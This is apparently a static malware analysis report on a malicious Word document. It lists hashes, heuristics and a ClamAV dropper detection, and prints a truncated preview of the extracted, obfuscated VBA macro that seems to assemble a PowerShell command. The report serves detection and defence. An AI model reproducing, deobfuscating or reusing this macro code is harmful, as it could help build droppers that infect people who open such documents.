Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dc8ee0176999c76c…

MALICIOUS

Office (OLE)

149.5 KB Created: 2018-02-17 08:57:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: b60bd0278b2d60f70768e9b9aa883506 SHA-1: 5b1228efffe52b66cd5b18d1ccbdf796216be879 SHA-256: dc8ee0176999c76cb246895b5177de115f2295527ac99b2488f2301e0f008c2b
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a legacy WordBasic AutoOpen macro that triggers a VBA macro. This VBA macro utilizes the Shell() function, indicating an attempt to execute external code. The script appears to be heavily obfuscated, but the presence of the Shell() call and the ClamAV detection strongly suggest it's a dropper for a second-stage payload. The specific payload and its destination are not clearly discernible due to obfuscation.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6451084-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6451084-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32314 bytes
SHA-256: d8ec499c8e5cb8dd20f8d94002ba3c544863207a4284fe324d053a16d2684dfc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "isFzISQXcUi"
Function tmHilSGO()
On Error Resume Next
RLodUBSqC = 7249662 + Atn(cRGVUQbhwGVLO) / mzbFz - Sgn(KasMlwVjTuKAXM * Log(jsWzlTzYEY)) / (4518283 - GEdpIImj * YujWv - NDwUnBXGEFHNf)
qXimaJG = 2138475 + Atn(nnOjP) / qFBrljZHwm - Sgn(qblUIEkPiw * Log(kAvGVAlHV)) / (7990380 - NXwvdBVwwGS * WEZhfjdRjjS - AwfLZWqQl)
FifoVSN = 2023780 + Atn(NVMbiuk) / RRTYBvSFYrYzjF - Sgn(ujWKYcQBvM * Log(MLSIvXvhADjXd)) / (3048029 - RSYNKj * sSuMjL - BPYLKjHmQ)
pmrNifqRu = (WLuijHraROH) + yHBjksbJKSUgsssd("VpFcouPJvq+'+'JvqREpLACE'+'(eQLCRFeQL,[STrIng][chZOP+ZOPAr]96).REpLACE(eQLZOP+ZOPoVOeQL,[STrIng][cJvZOP+ZOPq+J'+'vqhAr]36).REpLACEZOP+ZOP(eQ'+'L9uKeQJv'+'q+JvqLJvq+Jvq,[STwiwrviwRfRziNiTjHzqmBF", 8, 164)
WTrjarKG = 6963493 + Atn(znILSjz) / BbLGhCSDlS - Sgn(tLCmpKAinlCO * Log(TpFmGwb)) / (2614038 - jwBWudBA * bPzrzwASBRCLsz - zmrzjzp)
cvziCnYiGC = 8360683 + Atn(aiGlSPXcno) / wQcqImovKL - Sgn(nwnZHl * Log(UzmYV)) / (3278146 - pOzmtZXE * PhKBpuJuh - SqKztHmY)
lNTzZL = 3762101 + Atn(oZuLVSXoIQlj) / YYszjOapsqF - Sgn(ifQFiHAEOkpmwj * Log(WUlRiiGlZ)) / (232698 - DKtzvi * NrmGjdIlfVnj - wDsDVH)
cdFUXFT = (KETANin) + yHBjksbJKSUgsssd("irKuYjU]36)) ZOP).REpLACe(([ChAr]7'+'4+[ChAr]118+[ChAr]113),[S'+'TrING][ChAr]39).REpLACe(([ChAr]107+[ChAr]98+[ChAr]102),[STrING][ChAr]3'+'6) q49 .((gv ZO'+'P*MDr*ZOP).nAmE[3,11,2]-JOInZOPZOP)')  -REplAce ([rlkswIrZIOCFKq", 8, 199)
SCKbuJFoiYr = 7166506 + Atn(ItDlwq) / KARqdoJOzUtPiI - Sgn(uUFwc * Log(NOInkA)) / (3390213 - MlvBIKEYUlB * jnUqBGwDwifzNn - lJDtorhlizNVwA)
rPjmJrnJ = 4304498 + Atn(UzfYZ) / RldBOidFwnVMS - Sgn(RrNFBCm * Log(nkzCciLBiOXsr)) / (3301286 - mdzIcAaA * iHidkZXXHYws - LFuuu)
AvYwWtYNAr = 1044254 + Atn(oaXAba) / CuJsMkNUVA - Sgn(RIrAkSSXkRt * Log(iGVtzIj)) / (6542601 - KzUdw * lIoqkuMdzPo - EhEqKIjamrqQ)
OPPbiGXlA = (PpGzlojQ) + yHBjksbJKSUgsssd("whaGOZiQzt;oeQL+eQLVONSBeQL+eQL eJJKEPHDrKEMqEzjuYOKl", 10, 25)
riPzPbU = 3637904 + Atn(AzTmMwXtuR) / dzcfWltQC - Sgn(BptjzNFJ * Log(MHtHSjnY)) / (1978341 - PsmwYzJrqG * lsQMwHaDMjSk - EQksKwjNip)
mKQYHCTYWA = 7606981 + Atn(OtVlqWPCh) / OduTcMUwrw - Sgn(LrINRj * Log(XYCCcmjNFSWND)) / (6602482 - dBGzqTWskwqRC * NYYpV - IZLAHjOHCb)
iWwjc = 5699292 + Atn(ZSOGGUqaBjREl) / hMstzYiDk - Sgn(qFpHE * Log(pIUzsjn)) / (1337152 - EwvdbHHO * CCPJiFLWiKQA - iVnrJjodzZ)
iMuaZ = (mjOwbITVcYiJ) + yHBjksbJKSUgsssd("AviRktmEiwdCvIQLMmcQPUVGzvpr]82+[chAr]70'+')Jvq+Jvq,[STrIng][ZOP+ZOPchAr]39).BXjTFLCFAD", 28, 50)
wpCJtsYrw = 9703112 + Atn(aJFdijkfY) / aNhJcdSoLiTBHv - Sgn(uLUJMkXwKQszZU * Log(tkOabOJHwmHBZT)) / (953668 - CJjkVPWLL * PXtjd - ULljnjUhkEYXF)
zvdwokYrM = 6562204 + Atn(iFrpqtjddNDOZz) / NMIOhNiVlVpw - Sgn(RrzFdDlSBtnzki * Log(VjSviz)) / (8106217 - OqAkvjF * BukMlOzk - OTLSVOzfb)
UXzSMKI = 9995613 + Atn(DuQAb) / kPdTpiwamFz - Sgn(VHmhZUfit * Log(cCFUjDQHdkkGd)) / (6639288 - CYkPsi * zJFsPV - wUzmrmaN)
vDmTMb = (jiPmWBcqQYQaqk) + yHBjksbJKSUgsssd("wKfAVNuq((' (ZOP.( kbf'+'pShomE[ZOP+ZOP21]+kbfPsHoMe[30ZOP+ZOP]+JvqxJvq)( ((Jvq& ( 0r2v'+'eRBosEpREfEJvq+JvqRE'+'NCE.tOs'+'TRiNGcJYwnvrjwzLuvmzIrzNzpwKC", 9, 120)
oNvcfDusWt = 2921865 + Atn(oumjPnTmvhoEl) / iDjhYqPLv - Sgn(BYiljTURFIDPsv * Log(zwqIsirKrRGmXX)) / (4833254 - dwpfrEhFbM * wcTTLkhat - CCOKOrTZh)
aPoWLvfvZHd = 9461566 + Atn(jhaQCQItOkjjM) / hXwvBpzfBavbV - Sgn(NNfuPcSutD * Log(UZhfoW)) / (4257431 - RjUVi * HwBjzUbvjfA - lRjZn)
rSJjMWN = 5672445 + Atn(mjQQzNEZZDwsrB) / HjROuih - Sgn(tBijkESss * Log(arwrfBTvuCrkn)) / (1768093 - WKDIZ * MFHXPVdTVGL - BQJQQ)
kFwNC = (DaXvvOAKTFv) + yHBjksbJKSUgsssd("TjIQMXPiRqeQLoVOSDC);Jvq+Jvq&(teQL+eQLRFeQL+ZOP+ZOPeQLIeQLZOP'+'+ZOP+eQLnveQL+eQL'+'oeQL+eQLtRFeQJvq+JvqL+eQL+teQL+eQLRFkeQL+eQLtReQL+eJvq+JvqQLF+teJvqZOP+ZOP+JvqQL+eQLRFZOP+ZOPe-IteeQZKjGkl", 10, 175)
ThWAvhwEBwT = 8294974 + Atn(QjpcZwjh) / suFtCsikYbZO - Sgn(zzFar * Log(juCXZwkjEW))
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.